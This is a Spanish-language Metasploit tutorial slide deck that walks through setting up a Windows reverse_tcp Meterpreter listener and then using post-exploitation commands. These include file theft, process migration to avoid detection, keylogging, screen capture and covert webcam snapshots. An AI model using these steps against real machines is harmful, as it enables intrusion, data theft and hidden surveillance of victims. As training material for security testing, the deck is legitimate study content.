Jose Manuel Ayala Wilson
METASPLOIT
VERSION 1.0 ENERO DE 2021
José Manuel Ayala Wilson
Jose Manuel Ayala Wilson
INTRODUCCION
Jose Manuel Ayala Wilson
QUE ES METASPLOIT
• El Metasploit Framework (MSF) es mucho más que una
simple colección de exploits, sino que también es una base
sólida que se puede aprovechar y personalizar fácilmente
para satisfacer sus necesidades.
• Esto le permite concentrarse en su entorno objetivo único y
no tener que reinventar la rueda.
• Consideramos que MSF es una de las herramientas de
auditoría de seguridad más útiles disponibles gratuitamente
para los profesionales de la seguridad en la actualidad.
• Desde una amplia gama de exploits de grado comercial y
un amplio entorno de desarrollo de exploits, hasta
herramientas de recopilación de información de red y
complementos de vulnerabilidad web, Metasploit
Framework proporciona un entorno de trabajo realmente
impresionante.
Jose Manuel Ayala Wilson
USANDO
METASPLOIT
Jose Manuel Ayala Wilson
EJECUTANDO METASPLOIT
Podemos ejecutar
Metasploit usando el menú
de Kali también
msfconsole
Jose Manuel Ayala Wilson
USANDO EXPLOIT MULTI HANDLER
Con options podemos ver
los parámetros especificos
de este exploit
use exploit/multi/handler
Jose Manuel Ayala Wilson
ESTABLECIENDO DIRECCION IP
Esta es la IP de la
máquina Kali que es donde
se está ejecutando
Metasploit
set LHOST [Link]
Jose Manuel Ayala Wilson
ESTABLECIENDO PAYLOAD
Aquí ponemos el tipo de
payload que generamos
con msfvenom
set payload windows/meterpreter/reverse_tcp
Jose Manuel Ayala Wilson
EJECUTANDO EL EXPLOIT
Después de ejecutar el comando
exploit esperamos a que el
payload se ejecute en el target
remoto para obtener nuestra
sesión de meterpreter
exploit
Jose Manuel Ayala Wilson
METERPRETER
Jose Manuel Ayala Wilson
QUE ES METERPRETER
• Meterpreter es una impresionante utilidad que permite
obtener una gran cantidad de información sobre un objetivo
comprometido, así como también manipular procesos del
sistema y/o terminarlos.
• Meterpreter es un interprete de comandos que permite de
una forma segura y suave interactuar con la maquina
objetivo ganando por una parte la flexibilidad de un stagers
(ejecución de múltiples comandos en un payload) y por otra
parte, la fiabilidad de que no será detectado fácilmente por
un antivirus, firewall o IDS ya que se ejecuta como un
proceso en el sistema operativo y no escribe ningún fichero
al sistema remoto.
• La comunicación entre el interprete Meterpreter y la
maquina remota es vía SSL lo que quiere decir que la
información intercambiada entre las dos maquinas viaja
cifrada, ademas es posible utilizar múltiples canales de
ejecución, es decir, múltiples programas ejecutándose en la
maquina remota
Jose Manuel Ayala Wilson
ESTABLECIENDO SESION
Una vez ejecutado el comando
exploit, el servidor se queda
esperando a que el target
ejecute el payload.
En cuanto el payload se ejecuta
establece una sesión con el shell
de Metasploit llamado
Meterpreter
Jose Manuel Ayala Wilson
AYUDA DE LOS COMANDOS
Con help se muestra la ayuda de
los comandos de Meterpreter
Jose Manuel Ayala Wilson
INFORMACION DEL SISTEMA
Información del sistema conectado
a la sesión con sysinfo
Jose Manuel Ayala Wilson
LISTAR DIRECTORIO ACTUAL
Listado del directorio actual con dir
Jose Manuel Ayala Wilson
CAMBIO DE DIRECTORIO ACTUAL
Cambiar el directorio actual con
cd
Especificar el slash de las rutas de Windows con
doble slash, por ejemplo:
c:\\Users\\vagrant
Ver el directorio actual con pwd
Jose Manuel Ayala Wilson
DESCARGANDO DOCUMENTOS
Descargando documentos del
ordenador remoto al directorio
actual con el comando download
Jose Manuel Ayala Wilson
SUBIENDO DOCUMENTOS
Subiendo archivos al ordenador
remoto con el comando upload
Jose Manuel Ayala Wilson
EJECUTANDO EL SHELL DE WINDOWS
Con el comando shell abrimos un
shell de Windows. Con el comando
exit dentro de ese shell,
regresamos a meterpreter
Jose Manuel Ayala Wilson
LISTAR PROCESOS REMOTOS
Con el comando ps podemos ver
los procesos en ejecución en el
ordenador remoto. Fundamental
para detectar antivirus, agentes de
IDS/IPS, etc.
Jose Manuel Ayala Wilson
MATAR UN PROCESO REMOTO
Con el ID 5752 tenemos al
explorador de archivos
[Link]
Detenemos su ejecución con el comando kill
<PID>
Jose Manuel Ayala Wilson
MIGRANDO A OTRO PROCESO REMOTO
Esta técnica de migración de procesos nos
ayuda a permanecer ocultos, ya que el payload
no aparece en la lista de procesos del
Administrador de Tareas (Task Manager) de
Windows.
Con el ID 1868 tenemos al
explorador de archivos
[Link]
Migramos nuestro proceso al explorer que
siempre está en ejecución en Windows con
migrate <PID>
Jose Manuel Ayala Wilson
KEYLOGGER
Activamos el keylogger con
keyscan_start.
Periódicamente lo revisamos con
keyscan_dump.
Terminamos el keylogger con
keyscan_stop.
Jose Manuel Ayala Wilson
PANTALLAZOS DEL ESCRITORIO
Realizamos pantallazos del
escritorio remoto con el
comando screenshot.
Las fotos de guardan en el
directorio actual
Jose Manuel Ayala Wilson
ESCRITORIO REMOTO EN TIEMPO REAL
Este es el
ordenador
comprometido
Este es el
Metasploit
screenshare en el
navegador
El comando para ver el
escritorio remoto en tiempo
real es screenshare
Jose Manuel Ayala Wilson
USANDO LA WEBCAM (1)
Listamos las webcams disponibles con
webcam_list.
Hacemos una foto con la webcam
usando webcam_snap <id> donde id
es el número de la webcam que
queremos usar (no se nota el uso de la
cámara aunque la calidad depende de
la iluminación)
Jose Manuel Ayala Wilson
USANDO LA WEBCAM (2)
Listamos las webcams disponibles con
webcam_list.
Activamos la webcam en tiempo real
con webcam_stream <id> donde id es
el número de la webcam que
queremos usar (se enciende el piloto
azul al lado de la cámara delatando su
uso)
